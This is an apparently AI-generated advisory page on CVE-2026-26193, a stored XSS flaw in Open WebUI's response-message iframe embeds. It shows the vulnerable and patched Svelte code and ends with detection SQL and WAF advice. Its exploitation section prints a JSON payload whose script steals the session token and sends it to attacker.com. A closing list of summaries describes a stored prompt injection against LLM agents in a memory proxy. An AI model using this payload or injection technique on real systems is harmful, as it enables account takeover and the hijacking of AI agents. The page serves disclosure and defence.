CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-26193

CVE-2026-26193: Stored XSS via iFrame Embeds in Open WebUI Response Messages

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 7, 2026·7 min read·94 visits

Executive Summary (TL;DR)

Stored XSS via insecure iframe sandbox configurations in Open WebUI allows low-privileged users to steal admin session tokens through shared chats.

CVE-2026-26193 is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.6.44. The vulnerability arises because the rendering engine hardcodes insecure sandbox options on an iframe component used for response embeds, allowing attackers to execute JavaScript in the parent window origin.

Vulnerability Overview

Open WebUI relies on a modular architecture to render chat content, user instructions, and dynamic embeds within the frontend layout. The Svelte-based frontend utilizes a component named ResponseMessage.svelte to present assistant responses to the client. This component processes standard markdown, LaTeX, charts, and media resources. Among these capabilities is an iframe-based embedding feature designed to display rich external integrations.

To facilitate the rendering of these external resources, the system employs a custom component known as FullHeightIframe. Because Open WebUI is built as a self-hosted platform running in local or enterprise networks, security boundaries inside the UI are critical to prevent unauthorized administrative actions. Response message embeds represent a highly exposed attack surface because they deal with arbitrary, dynamic resource URLs.

The vulnerability, classified as CWE-79 (Stored Cross-Site Scripting), resides in the rendering block for these message embeds. When a message contains an embeds array, the application dynamically instantiates an iframe for each specified link. Due to insecure default configurations within the component lifecycle, malicious code can escape the boundaries typically imposed on frame resources, leading to execution in the security origin of the hosting application.

Root Cause Analysis

The root cause of CVE-2026-26193 is a classic security configuration failure within the iframe's sandbox attributes. Svelte templates compile declarative attributes directly into HTML DOM properties. In ResponseMessage.svelte, the FullHeightIframe tag explicitly enables both script execution and same-origin access simultaneously. This pattern nullifies the browser security mechanisms designed to segregate third-party content.

According to the HTML5 specification, the sandbox attribute restricts the capabilities of nested frame elements. When the allow-scripts flag is specified, the frame is permitted to run scripting engines. When the allow-same-origin flag is specified, the frame treats its source content as if it originates from the parent page's domain. When these two attributes are combined, the frame is granted the capability to bypass its own sandbox constraints, programmatically accessing the parent DOM.

Furthermore, Open WebUI exposes a global configuration setting titled 'iframe Sandbox Allow Same Origin' intended to let administrators toggle this access model globally. However, the hardcoded attributes in the rendering loop for response embeds ignore this global variable. Svelte compiles the hardcoded properties allowScripts={true} and allowSameOrigin={true} directly, meaning the global security setting has no effect on this specific code path.

Code Analysis

The vulnerable code path is found in src/lib/components/chat/Messages/ResponseMessage.svelte between lines 689 and 703. The template loop handles message.embeds without performing validation or sanitization against the provided URLs. This allows arbitrary URI schemes, including data:text/html, to be bound directly to the frame's source parameter.

<!-- Vulnerable Code Path -->
{#if message?.embeds && message.embeds.length > 0}
	<div class="my-1 w-full flex overflow-x-auto gap-2 flex-wrap">
		{#each message.embeds as embed, idx}
			<div class="my-2 w-full" id={`${message.id}-embeds-${idx}`}>
				<FullHeightIframe
					src={embed}
					allowScripts={true}
					allowForms={true}
					allowSameOrigin={true}
					allowPopups={true}
				/>
			</div>
		{/each}
	</div>
{/if}

To correct this vulnerability, the component was refactored in version 0.6.44 to omit the hardcoded same-origin value. The patch dynamically binds the same-origin permission to the configuration state of the application. If the configuration restricts same-origin access for standard embeds, the component honors this decision, isolating the executed scripts.

<!-- Patched Code Path -->
{#if message?.embeds && message.embeds.length > 0}
	<div class="my-1 w-full flex overflow-x-auto gap-2 flex-wrap">
		{#each message.embeds as embed, idx}
			<div class="my-2 w-full" id={`${message.id}-embeds-${idx}`}>
				<FullHeightIframe
					src={embed}
					allowScripts={true}
					allowForms={true}
					allowSameOrigin={IFRAME_SANDBOX_ALLOW_SAME_ORIGIN}
					allowPopups={true}
				/>
			</div>
		{/each}
	</div>
{/if}

Exploitation Methodology

Exploitation requires network access to the Open WebUI instance and an active user account. Because the vulnerability is stored within the chat history, the attacker first submits a standard chat interaction. The attacker then intercepts the communication flow or directly invokes the REST API endpoint to update the chat message history, introducing a custom embeds array containing a malicious data: URI.

{
  "id": "target-message",
  "role": "assistant",
  "content": "Rendering dynamic content...",
  "embeds": [
    "data:text/html,<script>const token = window.parent.localStorage.getItem('token'); fetch('https://attacker.com/log?t=' + encodeURIComponent(token));</script>"
  ]
}

Once the payload is written to the platform's backend database, the attacker executes a share operation. This step generates a unique public URL linked to the contaminated session state. The attacker then targets other local users or platform administrators by transmitting the shared URL via internal communication channels, support tickets, or direct messaging.

When the recipient accesses the shared link, the frontend attempts to render the embedded resource within the DOM. The browser resolves the data: URI and assigns it same-origin permissions due to the static sandbox configurations. The Javascript payload runs immediately, extracts the victim's JWT token from local storage, and exfiltrates it to the attacker's server, enabling instantaneous session hijacking.

Impact Assessment

The severity of CVE-2026-26193 is high, reflecting its potential to cause full account takeovers. Because the target application, Open WebUI, is often deployed within internal enterprise environments or locally on development systems, compromising an administrative session can expose sensitive corporate artificial intelligence assets, backend API keys, and model parameter files.

The CVSS v3.1 base score is 7.3. The attack complexity is low because standard browser behaviors automatically resolve the payload without requiring specialized execution engines. Because authentication to an instance is typically required to modify chat schemas, the baseline privilege is low, but the vector is highly effective because it crosses trust boundaries when an administrator views a user-shared chat.

From an operational standpoint, the script execution executes inside the context of the parent origin. This permits full access to the browser's Document Object Model (DOM), indexedDB databases, local storage repositories, and active cookies. If the victim possesses administrative privileges, the attacker gains the capability to modify global system variables, provision new administrative credentials, or access system integrations.

Remediation and Defensive Strategies

The recommended remediation path is to immediately upgrade Open WebUI to version 0.6.44 or later. This release correctly links the sandbox origin permissions to the global platform settings and restricts unsafe scripts by default. Administrators must verify that the environment has successfully applied the update to prevent exploitation of the existing vulnerable components.

In scenarios where immediate platform updates are not feasible, defenders should implement database-level auditing. Running SQL commands against the backend storage can identify active payloads stored within user histories. The query should look specifically for occurrences of script syntax and data: URIs inside the serialized JSON arrays of the chats table.

-- Query to identify suspect stored chats
SELECT id, user_id, title
FROM chats
WHERE chat_code LIKE '%"embeds"%'
  AND (chat_code LIKE '%data:text/html%' OR chat_code LIKE '%javascript:%');

Additionally, deploying Web Application Firewall (WAF) rules provides an immediate layer of active defense. WAF policies should inspect incoming POST or PATCH requests targeting /api/v1/chats or adjacent endpoints. Rules must flag and block request bodies that combine the embeds keyword with data: URI structures, preventing the registration of malicious configurations in the backend.

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.20%
Top 90% most exploited

Affected Systems

Open WebUI

Affected Versions Detail

Product
Affected Versions
Fixed Version
open_webui
Open WebUI
< 0.6.440.6.44
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.1 Score7.3
EPSS Score0.00198
Exploit Statuspoc
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

CVE Published on CVE.org
2026-02-19
GHSA-vjm7-m4xh-7wrc published
2026-02-19
Official Patch in v0.6.44 released
2026-02-19
NVD Record Status updated
2026-06-17

References & Sources

  • [1]GitHub Security Advisory GHSA-vjm7-m4xh-7wrc
  • [2]Vulnerable Source Code Location
  • [3]Raw Svelte Component Source
  • [4]CVE.org Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
11 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
16 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
16 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
19 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read